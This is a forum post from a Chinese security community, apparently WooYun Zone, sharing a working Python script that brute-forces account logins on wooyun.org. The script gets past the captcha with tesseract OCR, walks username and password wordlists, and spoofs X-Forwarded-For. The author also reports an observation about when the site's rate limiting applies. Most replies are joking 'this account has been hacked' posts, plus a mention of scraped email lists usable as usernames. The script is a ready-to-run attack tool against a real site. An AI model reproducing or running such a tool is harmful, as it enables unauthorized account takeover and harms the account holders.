python 乌云账号暴力猜解工具

Rona (111) | 2014-09-24 17:19

需要预安装如下程序

1、pytesseract (可以pip install pytesseract安装)

2、Python Imaging Library (PIL)

3、tesseract-ocr

原理:

1、利用tesseract 进行验证码的识别。

2、post暴力猜解

问题1.验证码的识别率

进行了一次处理,从正则里可以看到pattern = '^[a-zA-Z0-9]{4}$' 只取识别为4位的字符,如果不是则重新请求验证码,这个在很大程度上提高了识别率。

问题2.服务端频率验证

经过我两天的实验观察,早上会有次数限制,连续两天的下午我尝试了大于1161次的登陆都没有限制,不知道是什么原因,也许是我网络问题

#coding: utf-8
#date: 2014/09/23
#author: titans

import cookielib
import urllib2
import urllib
import socket
import sys
import time
import re
import Image
import pytesseract

def guess_login(url, users, passwords):
  cj = cookielib.CookieJar()
  opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
  opener.addheaders = [
    ('User-Agent','Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Firefox/24.0'),
     ('Accept','text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'),
     ('Accept-Encoding','gzip, deflate'),
    ('Connection', 'keep-alive'),
    ('X-Forwarded-For','127.0.0.1'),
  ]
  urllib2.install_opener(opener)
  captcha = ''


  catp_url = 'http://www.wooyun.org/captcha.php'

  pattern = '^[a-zA-Z0-9]{4}$'
  regex = re.compile(pattern)
  for user in users:
    user = user.strip()
    find = False
    for password in passwords:
      while_mark = 1
      password = password.strip()

      while(while_mark):

        opener.open(url)
        pic = opener.open(catp_url)
        content = pic.read()
        f = open('c:\\temp\capta.jpg','wb')
        f.write(content)
        f.close()
        time.sleep(1)
        captcha = pytesseract.image_to_string(Image.open('c:\\temp\capta.jpg'))

        re_result = regex.match(captcha)
        if re_result:
          print user, password, captcha
          post_data = 'email=%s&password=%s&captcha=%s'%(user,password,captcha)
          post_url =  'http://www.wooyun.org/user.php?action=login&do=login'
          resp = opener.open(post_url,post_data)
          while_mark = 0
          cookies = resp.info().getheaders('Set-Cookie')
          if len(cookies):

            find = True
            raw_input('Get it!!%s %s'%(user,password))
        else:
          print '[*]Repeat request'
          pass
      if find == True:
        break

def run():
  if len(sys.argv) !=3:
    usage()
  url = 'http://www.wooyun.org/user.php?action=login'
  users = open(sys.argv[1],'r').readlines()
  passwords = open(sys.argv[2],'r').readlines()
  guess_login(url, users, passwords)
def usage():
  print 'wooyun.py users.txt passwords.txt'
  exit(0)
if __name__ == '__main__':
  run()

windows下使用,如果linux下测试,修改存放验证码的路径c:\\temp\capta.jpg 改为linux下的路径即可

usage: wooyun.py users.txt passwords.txt

[原文地址]

各种吐槽:

1#

0ps | 2014-09-24 17:20

此时我只想说:卧槽

2#

大漠長河 (辽宁天龙源风景区欢迎您 尊敬的白帽子) | 2014-09-24 17:22

原理:

1、利用tesseract 进行验证码的识别。

值得研究

3#

Ivan (Null.) | 2014-09-24 17:22

。。。。。。不怕被封么

4#

insight-labs (Root Yourself in Success) | 2014-09-24 17:23

@xsser

早跟你说过验证码弱爆了

5#

pandas | 2014-09-24 17:24

验证码准确率问题除外,账号也是个问题吧,乌云不支持用户名登陆,还得射到邮箱先。

6#

YY-2012 (SM沐足桑拿推拿来前订房优惠多多 一条龙服务噢) | 2014-09-24 17:36

此时我只想说:卧槽

7#

0x_Jin (世上人多心不齐) | 2014-09-24 17:39

@pandas 邮箱随便爬下就出来 之前有人放出来过他爬到的邮箱!

8#

草榴社区 | 2014-09-24 17:44

@0x_Jin 随便,呵呵.

9#

雷锋 (别总是躺在床上,除非你躺在床上也能挣钱!by苍井空) | 2014-09-24 17:47

@pandas邮箱。。。貌似早被爬出来了。。。字典利用社工库?

10#

风花雪月 (多喜欢我自己!) | 2014-09-24 17:47

估计现在不行了 哎 懒得去试了

11#

0x_Jin (世上人多心不齐) | 2014-09-24 17:48

@草榴社区 呵呵

12#

/fd (Http://prompt.ml) | 2014-09-24 17:49

此帳號已被入侵

13#

实习白帽子 | 2014-09-24 17:54

此帳號已被入侵

14#

超威蓝猫 (‮‮‮‮‮‮‮‮‮‮‮‮‮‮‮‮‮‮‮‮‮‮‮‮‮) | 2014-09-24 18:00

此帳號已被入侵

15#

疯狗 (你在乌云这么叼,你家人知道么?) | 2014-09-24 18:03

看见没,看见没啊,这要是被爆出来你们的密码就太丢人了啊

16#

玉林嘎 | 2014-09-24 18:03

此帳號已被入侵

17#

Finger (Save water. Shower with your girlfriend.) | 2014-09-24 18:05

在安全社区混 密码被爆破那就太丢人了

18#

疯狗 (你在乌云这么叼,你家人知道么?) | 2014-09-24 18:05

此帳號已被入侵

19#

scanf (www.scanfsec.com) | 2014-09-24 18:09

此帳號已被入侵

20#

BadCat (悲剧的我什么都不会......) | 2014-09-24 18:09

此帐号已被反入侵

21#感谢(1)

her0ma | 2014-09-24 18:10

看完这个我决定此刻现在立即修改密码……

22#

pandas | 2014-09-24 18:13

@0x_Jin 在哪呢,我去下载一份看看我这个账号的邮箱在不在里面

23#

Ki11 (今天没有吃药,赶脚自己萌萌哒!) | 2014-09-24 18:15

此帳號已被入侵

24#

流星warden (塵歸塵,土歸土,讓往生者安寧,讓在世者重獲解脫。) | 2014-09-24 18:15

此帳號已被入侵

25#感谢(1)

U神 (我擦!这是U神吗?这是小菜鸟,此号被社!by 泳少) | 2014-09-24 18:15

@疯狗 像我这种菜鸟一般都用123456做密码的

26#

Asnliang (我是一个搬砖工,我可以准确的告诉你一块红砖的尺寸) | 2014-09-24 18:19

此时我只想说:卧槽

27#

erevus (我的乌云币都在小号上,小号不是绑定我QQ,别盗我号) | 2014-09-24 18:19

此帳號已被入侵

28#感谢(1)

老笨蛋 | 2014-09-24 18:23

此帳號已被入侵

29#

老笨蛋 | 2014-09-24 18:23

此帳號已被入侵

30#

hkAssassin | 2014-09-24 18:26

此时我只想说:卧槽

31#感谢(1)

雷锋 (别总是躺在床上,除非你躺在床上也能挣钱!by苍井空) | 2014-09-24 18:27

怎么看见这么多 ''此帳號已被入侵'' 字样可看不到感谢捏?这不科学!!

32#

0x_Jin (世上人多心不齐) | 2014-09-24 18:36

@pandas http://zone.wooyun.org/content/11339

33#

Anymous | 2014-09-24 18:41

我只想知道识别率如何

34#

咖啡 (乌云在我们心里搁下一块阴影我聆听沉寂已久的心情) | 2014-09-24 18:43

学习下验证码

35#

sdj (男人分三种,第一种是用假名牌来掩饰身份,第二种是用真名牌类衬托身份,而第三种,则是用身份来衬托身上的假名牌。) | 2014-09-24 18:45

此帳號已被入侵

36#

roker | 2014-09-24 18:50

看完这个我决定此刻现在立即修改密码……

37#

小火苗 (五条大枪看粗细!!) | 2014-09-24 18:59

看完这个我决定此刻现在立即修改密码为123456;

毕竟、于人方便,于己方便嘛!

38#

Aring | 2014-09-24 19:00

帮我修改为12345,谢谢雷峰

39#

第四维度 (即使全世界都抛弃了你,你也不能放弃你自己) | 2014-09-24 19:12

呵呵

40#

浮生 | 2014-09-24 19:18

此帳號已被入侵

41#

cnrstar (Be My Personal Best!) | 2014-09-24 19:20

此帳號已被入侵

42#

D&G | 2014-09-24 19:25

此帳號已被入侵

43#

寂寞的瘦子 (抽象代数在haskell上的工程应用,赞叹数学!) | 2014-09-24 19:33

@xsser 剑心这是你小号嘛。http://zone.wooyun.org/content/11339。拔刀斋翡村剑心。

44#

C4ndy | 2014-09-24 19:40

此帳號已被入侵

45#

xlz0iza1 | 2014-09-24 19:56

此帳號已被入侵

46#

点点 (http://t.qq.com/ox_diandi) | 2014-09-24 20:05

还好 我的密码 123321 肯定爆不出来 吓死了

47#

我了个去 (看啥,头像不是我) | 2014-09-24 20:05

此帳號已被入侵

48#

komas | 2014-09-24 20:07

此帳號已被入侵

49#

bey0nd | 2014-09-24 20:20

先改密码去

50#

我还爱 (我还是那个我,我还爱那个我) | 2014-09-24 20:31

此帳號已被入侵

51#

coms | 2014-09-24 20:47

此帳號已被入侵

52#

mramydnei | 2014-09-24 21:04

所以洞主成功了多少条?

53#

袋鼠妈妈 | 2014-09-24 21:04

此帳號已被反复入侵

54#

AZ0NE (www.azone.asia) | 2014-09-24 21:12

此帳號已被入侵

55#

xsser (十根阳具有长短!!) | 2014-09-24 21:20

说好的爱乌云呢

56#

Knight (查水表。缴wb不杀) | 2014-09-24 21:37

呵呵呵呵,我的密码要被爆破至少花500年。

57#

ChriSt (xss.re) | 2014-09-24 21:38

此帳號已被入侵

58#

maples | 2014-09-24 22:11

此帳號已被入侵

59#

Maschera (Zone是一个安全技术社区,是乌云漏洞报告平台的延伸,聚集包括渗透师,结界师,跨站师在内的各种技术人员,讨论网络安全最新技术和资讯,同时也分享纠结生活里的各种奇思妙想。 与其他的社区不同,我们有着自己的态度,我们鼓励分享拒绝封闭,鼓励发现新问题的同时希望能够有深入的钻研,我们相信每个人都有自己擅长的领域和独立特行的思维方式但每个人也都是不完美的,所以我们将安全技术按照领域划分,每个人都可以分享自己独特的东西同时又能够学习到新的东西。 我们希望走得更远,我们希望能够坚持最初的方向!:) | 2014-09-24 22:11

此帳號已被入侵

60#

C4nf3ng | 2014-09-24 22:34

此帳號已被入侵

61#

Annabelle | 2014-09-24 22:49

此帳號已被入侵

62#

Power | 2014-09-24 22:57

此帳號已被入侵

63#

F1uYu4n | 2014-09-25 00:30

此帳號已被入侵

64#

围剿 | 2014-09-25 08:46

此帳號已被入侵

65#

生生不息 | 2014-09-25 09:02

此帳號已被入侵

66#

by灰客 | 2014-09-25 10:01

此帳號已被入侵

67#

路人乙 (我要创建个领域) | 2014-09-25 10:10

此帳號已被入侵

68#

吹皱一池春水 | 2014-09-25 10:10

此帳號已被入侵

69#

包子哥 | 2014-09-25 11:53

此帳號已被入侵

70#

conqu3r (http://www.paxmac.org/) | 2014-09-25 12:32

此帳號已被入侵

71#

p4ssw0rd (.Y.) | 2014-09-25 12:44

此帳號已被入侵

72#

RainShine (等级:没帽子……) | 2014-09-25 12:52

此帳號已被入侵

73#

j14n (游离在网络边缘的小菜鸟.) | 2014-09-25 12:53

此帳號已被入侵 Hacked by Roan

74#

小胖子 (z7y首席代言人) | 2014-09-25 12:54

此帳號已被入侵

75#

wefgod (求大牛指点) | 2014-09-25 12:59

此帳號已被入侵

76#

l137 (有些事情不是你不去看,它就没了的) | 2014-09-25 13:16

此帳號已被入侵

77#

念念不忘 | 2014-09-25 14:55

此帳號已被入侵

78#

马化腾 | 2014-09-25 15:28

此帳號已被入侵

79#

Log | 2014-09-25 16:07

此帳號已被入侵

80#

9k九块钱 (ด้้้้้็็็็็้้้้้็็็็ด้้้้้็็็็็้้้้้็็็็ http://9py.cc/ 这是一个神奇的网站 ด้้้้้็็็็็้้้้้็็็็ด้้้้้็็็็็้้้้้็็็็) | 2014-09-25 16:08

我很安全!

81#

动后河 (类的继承) | 2014-09-25 16:49

https://github.com/iph0n3/WooYun/blob/6fffe97a74e81123ba523f9edfad750b5b1db9a3/wooyun.py

82#

YHHK (淡定。) | 2014-09-25 18:53

操,密码忘记了,记得帮我改成123456,谢谢

83#

Sct7p (1.在蓝翔学过六年挖掘机。2.让别人活在仇恨里。) | 2014-09-25 19:08

技术性研究,支持楼主。

84#

正好五个字 | 2014-09-25 19:31

此帳號已被入侵

85#

Murk Emissary (聋子听哑巴说瞎子看见鬼了) | 2014-09-25 21:33

此帳號已被入侵

86#

Bird | 2014-09-25 22:46

此帳號已被入侵

87#

fox | 2014-09-26 00:11

此帳號已被入侵

88#

Blackeagle (@wooyun)‮ (转心由境生心由相) | 2014-09-26 00:37

密码是wooyun123,不谢,请教我雷锋

89#

胖子 (臣妾做不到哇) | 2014-09-26 01:07

此帳號已被入侵

90#

Grayon (laa.pw)‮ (上海在不在海上) | 2014-09-26 01:29

此帳號已被入侵

91#

昵称 (</textarea>'"><script src) | 2014-09-26 09:51

File "build\bdist.win32\egg\pytesseract\pytesseract.py", line 75, in run_tess

ract

File "c:\python27\lib\subprocess.py", line 672, in __init__

errread, errwrite)

File "c:\python27\lib\subprocess.py", line 882, in _execute_child

startupinfo)

WindowsError: [Error 2]

搜索半天,不得其解@Rona

92#

小r00to1 | 2014-09-26 10:23

123456

93#

Rona (111) | 2014-09-26 10:31

@昵称 pytesseract 是不是这个包安装不正确

94#

小土豆 (加油ing~~) | 2014-09-26 10:50

此帳號已被入侵

95#

蓝风 (‮#知我者謂我心憂 不知我者謂我何求#) | 2014-09-26 11:10

费这事破解 , 我问我不就告诉你了

96#

泳少 (我擦!这是泳少吗?这是小菜鸟,此号被社!by U神) | 2014-09-26 11:33

此帳號已被入侵

97#

核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2014-09-26 11:43

good jb~

98#

PSSIC | 2014-09-26 11:58

此账号等待被入侵

留言评论(旧系统):

佚名 @ 2014-10-02 16:00:27

OMG,写了数百字物理入侵竟然卡死重启,天意么。 那就补个结语吧:等等,你忘了盗取乌云乡民们的帐号了

本站回复:

-_-|||

RainShine @ 2014-10-07 14:02:59

此账号已被入侵!Hacked By Helen!I From nanchang!

本站回复:

此账号已被入侵!Hacked By Helen!I From nanchang!

佚名 @ 2015-09-28 11:15:26

稍微加点加噪就识别不了的

本站回复:

-_-!!!